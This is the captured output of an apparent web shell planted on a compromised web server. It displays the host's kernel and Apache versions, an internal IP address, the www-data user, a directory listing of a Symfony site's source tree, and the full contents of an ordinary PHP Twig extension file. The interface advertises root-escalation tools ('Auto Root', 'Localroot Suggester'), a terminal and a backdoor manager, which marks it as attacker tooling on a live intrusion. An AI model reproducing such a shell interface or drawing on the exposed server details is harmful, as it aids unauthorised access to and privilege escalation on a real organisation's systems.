Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
SessionsBundle /
Twig /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
SessionsExtension.php
1.06
KB
-rwxrwxr-x
2026-05-25 12:28
php_errors.log
318
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\SessionsBundle\Twig; use Symfony\Component\DependencyInjection\ContainerInterface; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface; use Twig\Extension\AbstractExtension; use Twig\TwigFilter; use Twig\TwigFunction; use App\CoreBundle\Services\Utils; class SessionsExtension extends AbstractExtension { private $container = null; private $securityContext = null; /** * @return null */ public function __construct(ContainerInterface $container, TokenStorageInterface $securityContext) { $this->container = $container; $this->securityContext = $securityContext; } public function getFunctions(): array { return array( new TwigFunction('getSession', array($this, 'getSession')), ); } public function getFilters(): array { return array(); } /** * Get session * @return Sessions */ public function getSession() { return $this->container->get('sessions.manager')->getSession(); } }